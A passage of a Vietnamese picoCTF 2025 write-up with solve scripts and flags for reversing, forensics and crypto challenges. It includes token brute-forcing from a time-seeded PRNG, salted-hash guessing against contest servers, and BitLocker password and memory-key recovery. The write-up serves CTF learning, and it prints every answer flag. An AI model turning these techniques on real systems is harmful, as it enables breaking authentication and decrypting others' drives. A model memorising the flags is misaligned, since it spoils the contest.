c = b'\xf7Y\x8db\x8bS\xb2\x80q\xf2\xa0\x87\xd6(\xfc\xe6\xf2\\\x82`\x8c\\\xb4\xd4v\xf0\xf2\xd1\xde/\xfa\xb0\xfb]\xdfg\x8bV\xe2\xd1$\xa5\xa6\xd9\x8c+\xa8\xe7\xa6X\x82d\xda\x01\xb1\x85u\xa4\xa3\xd3\xda}\xff\xbc\xeeZ\x8am\x8d\x01\xb1\x84$\xa1\xf4\x85\x8c,\xfa\xe7\xf0S\x8f4\x8f\x02\xb1\x82w\xf1\xf6\x85\xd7/\xff\xb3\xa6]\xdf`\x8b\x00\xe3\xd1"\xf2\xf6\xd8\xda|\xfd\xb7\xf3Z\xd83\xdc\\\xbe\xd6!\xa2\xae\xd8\x8c{\xfa\xb0\xf2G\x8ae\x8a\x01\xe3\xd7q\xf4\xa3\xd9\x8aq\xfd\xbd\xfb\x08\x8ag\x8dQ\xe3\xd0"\xa4\xf2\x84\xdeq\xac\xb5\xf4\x0e\xca\xdd\x0b\xc5\xe6U\xbc\xf5\x8d\x81*\xa6\xdb\xf09\xe8=\xe8\r\xd4\xd0G\xf6\xe6\x82\xb6\x16\x95\xd1\xa9\'\x8a\'\x8a]\xe5\xfaL\xb6\xd4\x9b\x83\x03\x97\xfe\x81!\xe5a\x87\\\xbf\xd4*\xa2\xf6\x9c\xdex\xf4\xe5\xf6R\x8em\x87W\xb1\x80 \xf5\xf4\xd6\x8a{\xfd\xe7\xf3\x08\x89d\xdfP\xb2\x82u\xf4\xa0\x80\xc3y\xfd\xb2\xa5[\x83m\x8dQ\xe5\x84+\xfe\xa5\x84\xd7p\xf4\xb6\xf1S\x89m\xddQ\xb0\xd7&\xf2\xf2\xd3\x8b,\xf9\xb5\xfa\x08\xd8f\x8c\\\xe5\xd7"\xf3\xf6\xd4\x8c|\xac\xe5\xa7\x08\x8ag\x8d\x02\xbe\xd1$\xa2\xa3\x80\x8ad\xfd\xb4\xa6]\xdc0\xd8W\xb1\x85q\xa5\xf6\x80\xdbq\xa9\xb5\xf0_\xdee\x8e\x00\xbe\xd3r\xf4\xa2\xd4\x88y\xf4\xb0\xa5_\xdc4\xda\x05\xb7\x80r\xf1\xa3\x84\x8ap\xfb\xb2\xfa\x08\x8c`\x8eR\xe3\x81q\xfe\xae\x84\x88x\xcf\x86'
d = decrypt(c, k)
print("Decrypted Blockchain:", d.decode('utf-8'))
```
>Flag: picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_4989f9ea}
## Chronohack
>Can you guess the exact token and unlock the hidden flag?
Our school relies on tokens to authenticate students. Unfortunately, someone leaked an important file for token generation. Guess the token to get the flag.
```python=
from pwn import *
import random
import time
HOST = "verbal-sleep.picoctf.net"
PORT = 51051
ALPHABET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
TOKEN_LENGTH = 20
OFFSET_RANGE = 5000
def get_random(length, seed):
random.seed(seed)
return "".join(random.choice(ALPHABET) for _ in range(length))
def send_to_server(io, start_offset):
current_time = int(time.time() * 1000)
for offset in range(start_offset, OFFSET_RANGE):
guess_time = current_time + offset
message = get_random(TOKEN_LENGTH, guess_time)
print(f"[*] Trying offset {offset}: {message}")
io.sendline(message)
try:
response = io.recvline(timeout=1).decode().strip()
print(f"[SERVER]: {response}")
if "Congratulations" in response:
print("[+] Correct token found:", message)
io.interactive()
return True
except EOFError:
print("[!] Server closed connection. Reconnecting...")
return offset
except Exception as e:
print(f"[!] Error: {e}")
return offset
return None
start_offset = -OFFSET_RANGE
while True:
try:
io = remote(HOST, PORT)
result = send_to_server(io, start_offset)
io.close()
if result is True:
break
elif isinstance(result, int):
start_offset = result
print("[-] Failed to guess token. Retrying...")
time.sleep(1)
except EOFError:
print("[!] Server closed connection. Retrying...")
time.sleep(1)
continue
except KeyboardInterrupt:
print("\n[!] Exiting...")
break
```
>Flag: picoCTF{UseSecure#$_Random@j3n3r@T0rs8a8d9ae0}
## Quantum Scrambler
>We invented a new cypher that uses "quantum entanglement" to encode the flag. Do you have what it takes to decode it?
```python=
from pwn import remote
import ast
def unscramble(L):
A = L.copy()
i = len(A) - 1
while i >= 2:
original_part = A[i-1].pop()
A[:i-2] = original_part
popped_value = A[i-2][-len(A[i-1]):]
A[i-2] = A[i-2][:-len(A[i-1])]
A.insert(i-1, popped_value)
i -= 1
return A
host, port = "verbal-sleep.picoctf.net", 65513
p = remote(host, port)
data = p.recvall().decode().strip()
scrambled_flag = eval(data)
original_flag_hex = unscramble(scrambled_flag)
flag = ''.join(chr(int(x[0], 16)) for x in original_flag_hex)
print("Flag:", flag)
```
>Flag: picoCTF{python_is_weirdaa2ca6fc}
## Binary Instrumentation 2
>I've been learning more Windows API functions to do my bidding. Hmm... I swear this program was supposed to create a file and write the flag directly to the file. Can you try and intercept the file writing function to see what went wrong?
>Hint: You can specify the exact function name you want to trace
Trong bài này, đề bài cho thông tin về Window API function, mình đã search thông tin trên google thì xuất hiện một library về Window API là [fileapi.h](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/). Dựa vào hint đã cho, mình sẽ track xem hàm nào trong lib này đã xuất hiện trong file.
Đây là đoạn code mình dùng để xác định hàm:
```javascript=
const functions = [
"CreateFileA",
"CreateFileW",
"ReadFile",
"WriteFile",
"DeleteFileA",
"DeleteFileW",
"CopyFileA",
"CopyFileW",
"MoveFileA",
"MoveFileW",
"GetFileSize",
"GetFileSizeEx",
"SetFilePointer",
"SetEndOfFile",
"CloseHandle"
];
const kernel32 = Module.findExportByName("kernel32.dll", "CreateFileA");
if (!kernel32) {
console.log("[-] kernel32.dll not loaded.");
} else {
console.log("[+] kernel32.dll found, hooking file API functions.");
}
functions.forEach(function (name) {
const address = Module.findExportByName("kernel32.dll", name);
if (address) {
Interceptor.attach(address, {
onEnter: function (args) {
console.log("[*] " + name + " called");
if (name.includes("CreateFile")) {
console.log("\tFile Path: " + Memory.readUtf16String(args[0]));
}
},
onLeave: function (retval) {
console.log("[*] " + name + " returned: " + retval);
}
});
} else {
console.log("[-] " + name + " not found in kernel32.dll");
}
});
```
Sau khi xác định được hàm CreateFileA đã xuất hiện khi file chạy, mình đã kiểm tra raw mem và phát hiện sau hàm CreateFileA có tồn tại đoạn base64. Decode ra và ta được flag.
Đây là đoạn code được dùng để dump ra raw mem:
```javascript=
const functions = ["CreateFileA", "CreateFileW"];
functions.forEach(function (name) {
const address = Module.findExportByName("kernel32.dll", name);
if (address) {
Interceptor.attach(address, {
onEnter: function (args) {
console.log("[*] " + name + " called");
console.log("\targs[0] (pointer): " + args[0]);
if (args[0].isNull()) {
console.log("\t[!] args[0] is NULL, cannot read file path.");
return;
}
try {
let actualPtr = args[0]; // The pointer we will read from
console.log("\t[+] Raw Memory Dump at args[0]:");
console.log(hexdump(actualPtr, { length: 104 }));
// Check if args[0] is pointing to another pointer
let possiblePtr = Memory.readPointer(actualPtr);
console.log("\t[+] Potential Dereferenced Pointer: " + possiblePtr);
console.log("\t[+] Raw Memory Dump at possiblePtr:");
console.log(hexdump(possiblePtr, { length: 64 }));
let path;
if (name === "CreateFileA") {
path = Memory.readUtf8String(possiblePtr); // Read as ANSI
} else if (name === "CreateFileW") {
path = Memory.readUtf16String(possiblePtr); // Read as Unicode
}
console.log("\t[+] Resolved File Path: " + path);
} catch (e) {
console.log("\t[!] Error reading file path: " + e);
}
},
onLeave: function (retval) {
console.log("[*] " + name + " returned: " + retval);
}
});
} else {
console.log("[-] " + name + " not found in kernel32.dll");
}
});
```

>Flag: picoCTF{fr1da_f0r_in5trum3nt4tion!_b21aef39}
## perplexed
>Download the binary here.
```python=
def solve_password():
expected = [
0xE1, 0xA7, 0x1E, 0xF8, 0x75, 0x23, 0x7B, 0x61,
0xB9, 0x9D, 0xFC, 0x5A, 0x5B, 0xDF, 0x69, 0xD2,
0xFE, 0x1B, 0xED, 0xF4, 0xED, 0x67, 0xF4
]
password = bytearray(27)
local_1c = 0
local_20 = 0
for local_24 in range(0x17):
for local_28 in range(8):
if local_20 == 0:
local_20 = 1
local_30 = 1 << (7 - local_28)
local_34 = 1 << (7 - local_20)
expected_bit_set = (expected[local_24] & local_30) > 0
if expected_bit_set:
password[local_1c] |= local_34
local_20 += 1
if local_20 == 8:
local_20 = 0
local_1c += 1
if local_1c >= 27:
break
if local_1c >= 27:
break
result = password.decode('ascii', errors='replace')
return result
password = solve_password()
print(password)
```
>Flag: picoCTF{0n3_bi7_4t_a_7im3}
# FORENSIC
## Ph4nt0m 1ntrud3r
>A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag.
To solve this challenge, you'll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder!
Find the PCAP file here Network Traffic PCAP file and try to get the flag.
Mình lấy 1 số mã base64 được tìm thấy trong gói tin và decode ra, sau đó ghép lại thành flag.
```python=
import base64
def decode_base64(encoded_data: str) -> str:
try:
decoded_bytes = base64.b64decode(encoded_data.encode('utf-8'), validate=True)
return decoded_bytes.decode('utf-8', errors='ignore')
except Exception as e:
return f"Error decoding: {encoded_data}"
original_text = {
"YmhfNHJfYQ==",
"bnRfdGg0dA==",
"cGljb0NURg==",
"ZjE2MDk4MA==",
"XzM0c3lfdA==",
"ezF0X3c0cw==",
"fQ=="
}
for encoded in original_text:
print(encoded +": "+decode_base64(encoded))
```
>Flag: picoCTF{1t_w4snt_th4t_34sy_tbh_4r_9_59f50d3}
## RED
- Từ những hint mà đề bài đưa ra thì ta suy đoán rằng:
- Ta nên kiểm tra kênh màu riêng biệt (đặc biệt là kênh Red).
- Kiểm tra LSB của ảnh để tìm thông tin ẩn bằng zsteg.

Flag:`picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}`
## flags are stepic
>A group of underground hackers might be using this legit site to communicate. Use your forensic techniques to uncover their message
>Hint: In the country that doesn't exist, the flag persists
Ở bài này, ta sẽ nhận được một trang web chứa nhiều lá cờ của các nước. Dựa vào hint, ta sẽ tìm một nước không hề tồn tại, đó là **Upanzi, Republic The**.

Tải file ảnh về, dựa vào tên đề bài, ta sử dụng lib stepic để decode file ảnh.

Đây là đoạn code mình dùng để làm bài này:
```python=
import stepic
from PIL import Image
image = Image.open("upz.png")
hidden_data = stepic.decode(image)
print(hidden_data)
```
>Flag: picoCTF{fl4g_h45_fl4g00518d32}
## Bitlocker-1
- Sử dụng bitlocker2john để xuất ra hash
```
bitlocker2john -i bitlocker-1.dd > bitlocker_hash.txt
```
- Nội dung của file bitlocker_hash.txt
```
Encrypted device bitlocker-1.dd opened, size 100MB
Salt: 2b71884a0ef66f0b9de049a82a39d15b
RP Nonce: 00be8a46ead6da0106000000
RP MAC: a28f1a60db3e3fe4049a821c3aea5e4b
RP VMK: a1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
UP Nonce: d04d9c58eed6da010a000000
UP MAC: 68156e51e53f0a01c076a32ba2b2999a
UP VMK: fffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
User Password hash:
$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: Recovery Password fast attack
$bitlocker$2$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
```
- Sau khi crack thì ta được thông tin như sau:
- Khóa 2: jacqueline

- Thử key tìm được để giải mã
`sudo dislocker -V bitlocker-1.dd -u"jacqueline" -- /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/bitlocker1`
- Mount
`sudo mount -o loop /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/bitlocker1/dislocker-file /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/decrypted`
- Đọc file flag.txt:
`sudo cat /mnt/d/Work_Space/CTF/Forensics/picoCTF2025/Bitlocker-1/decrypted/flag.txt`
Flag: `picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}`
## Event-Viewing
>One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows:
They installed software using an installer they downloaded online
They ran the installed software but it seemed to do nothing
Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly.
See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs!
Download the Windows Log file here
>Hint: Try to filter the logs with the right event ID
Ở bài này, ta sẽ phải fitler các ID event dựa trên case của đề bài. Nếu như bài này không có AI hỗ trợ, thì ta sẽ phải phân tích case và tìm các ID event liên quan đến case ở [trang này](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/), khiến cho bài này trở thành một bài khá tốn thời gian. Đây là các event ID mà mình đã tìm được.
- Mảnh Flag thứ nhất: picoCTF{Ev3nt_vi3wv3r_
Event ID: 1033
Evidence of Software Installation:
Event ID: 1033 (Source: MsiInstaller)
Provides information about installed software packages.
- Mảnh Flag thứ hai: 1s_a_pr3tty_us3ful_
Event ID for Malware Execution:
Event ID: 4657 (Registry Modification - Security)
Source: Security
Tracks changes to registry values.
Useful for detecting persistence techniques like Run keys.
- Mảnh Flag thứ ba: t00l_81ba3fe9}
Evidence of the Auto Shutdown Trigger:
Event ID: 1074 (Source: User32)
Captures shutdown events. Look for the reason and process that triggered it.
>Flag: picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}
## Bitlocker-2
>Jacky has learnt about the importance of strong passwords and made sure to encrypt the BitLocker drive with a very long and complex password. We managed to capture the RAM while this drive was opened however. See if you can break through the encryption!
>Hint: Try using a volatility plugin
2 solutions: trước ngày 11/3 và sau ngày 11/3
- Trước ngày 11/3
Bài này có một trick lỏ mà ta có thể sử dụng vì tác giả đã để lộ flag nằm trong file ram, nên chúng ta có thể sử dụng lệnh strings để in ra flag

- Sau ngày 11/3 (tác giả đã bỏ flag trong ram ra)
Theo như hint, mình sẽ sử dụng volatility2 và dùng [plugin bitlocker](https://github.com/breppo/Volatility-BitLocker) để dump ra các key cần thiết và mount drive.
Đầu tiên, ta sẽ kiểm tra version của hệ điều hành:

Sau khi xác định được đây là **Win10x64_19041**, mình sẽ tiến hành sử dụng plugin bitlocker: ```python2 vol.py -f memdump.mem bitlocker --profile=Win10x64_19041 --dislocker ~/volatility/key```

Chuyển file bitlocker-2.dd thành một ổ đĩa ảo để có thể truy cập như một ổ cứng thật: ```sudo losetup -fP bitlocker-2.dd```
Tạo 2 folder unlocked và dislockerPICO: ```sudo mkdir /mnt/unlocked && sudo mkdir /mnt/dislockerPICO```
Chỉ cần thử key đầu tiên là ta đã mount được rồi.


Sau đó chỉ cần cat flag là xong:

>Flag: picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}
# CRYPTO
## hashcrack
- Chall:

- Sol:


- Flag: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_36a1cf73}
## EVEN RSA CAN BE BROKEN???
- Chall:
+ 
+ chall.py
```python=
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes
e = 65537
def gen_key(k):
"""
Generates RSA key with k bits
"""
p,q = get_primes(k//2)
N = p*q
d = inverse(e, (p-1)*(q-1))
return ((N,e), d)
def encrypt(pubkey, m):
N,e = pubkey
return pow(bytes_to_long(m.encode('utf-8')), e, N)
def main(flag):
pubkey, _privkey = gen_key(1024)
encrypted = encrypt(pubkey, flag)
return (pubkey[0], encrypted)
if __name__ == "__main__":
flag = open('flag.txt', 'r').read()
flag = flag.strip()
N, cypher = main(flag)
print("N:", N)
print("e:", e)
print("cyphertext:", cypher)
exit()
```
- Khi connect tới sever, sever trả về `(N, e, c)`

- Ta thấy `N` là số chẵn => ít nhất một trong 2 số `p`, `q` phải chẵn, mà trong các số nguyên tố chỉ có `2` là số chẵn => `p=2`, `q=N/2`
- Code:
```python=
from Crypto.Util.number import inverse, long_to_bytes
N = 25364894754034247444184506854949528901201835965568927199659397838167073326011456824842634814818192705913897307527297445087912938764676662995307802574675366
e = 65537
ciphertext = 18916114424642092224868628114346122525655899214294721303302687114740364067997731014103406656643362302395778319759890732633711479510853919695716334808169383
p = 2
q = N//2
phi = (p-1)*(q-1)
d = inverse(e, phi)
flag = long_to_bytes(pow(ciphertext, d, N))
print(flag)
```
- Flag: picoCTF{tw0_1$_pr!m3625a858b}
## Guess My Cheese (Part 1)
>Try to decrypt the secret cheese password to prove you're not the imposter!
>Hint: Remember that cipher we devised together Squeexy? The one that incorporates your affinity for linear equations???
Dựa vào hint, ta sẽ xài thuật Affine Cipher để giải mã. Đầu tiên, ta chọn MOZZARELLA để encrypt. Sau đó, lên [dcode](https://www.dcode.fr/affine-cipher) để tìm key.


Sau đó từ key tìm được, ta sẽ decrypt đề bài.


>Flag: picoCTF{ChEeSy8313f058}
## Guess My Cheese (Part 2)
>The imposter was able to fool us last time, so we've strengthened our defenses!
```python=
from pwn import *
import hashlib
p = remote('verbal-sleep.picoctf.net', 54640)
p.recvuntil(b'guess it: ')
target_hash = p.recvline().strip().decode('utf-8')
p.sendlineafter(b'What would you like to do?\n', b'g')
with open("cheese_list.txt", "r", encoding="utf-8") as f:
cheeses = [line.strip() for line in f if line.strip()]
def try_variants(cheese_str):
variants = {
cheese_str,
cheese_str.strip(),
cheese_str.lower(),
cheese_str.strip().lower(),
cheese_str.replace(" ", ""),
cheese_str.strip().replace(" ", ""),
cheese_str + "\n",
cheese_str.strip() + "\n"
}
cheese_bytes_list = [v.encode("utf-8") for v in variants]
for i in range(256):
salt_bin = bytes([i])
salt_hex = f"{i:02x}".encode("utf-8")
for cheese_bytes in cheese_bytes_list:
candidates = [
salt_bin + cheese_bytes,
cheese_bytes + salt_bin,
cheese_bytes[:len(cheese_bytes)//2] + salt_bin + cheese_bytes[len(cheese_bytes)//2:],
salt_hex + cheese_bytes,
cheese_bytes + salt_hex,
cheese_bytes[:len(cheese_bytes)//2] + salt_hex + cheese_bytes[len(cheese_bytes)//2:]
]
for candidate in candidates:
if hashlib.sha256(candidate).hexdigest() == target_hash:
log.success(f"Match Found! Cheese: {repr(cheese_bytes)} | Salt: {i} ({hex(i)})")
p.sendline(cheese_bytes)
p.sendline(f"{i:02x}".encode())
p.interactive()
return True
return False
for cheese in cheeses:
if try_variants(cheese):
break
else:
log.failure("Not found!!")
```
>Flag: picoCTF{cHeEsY6ce3864c}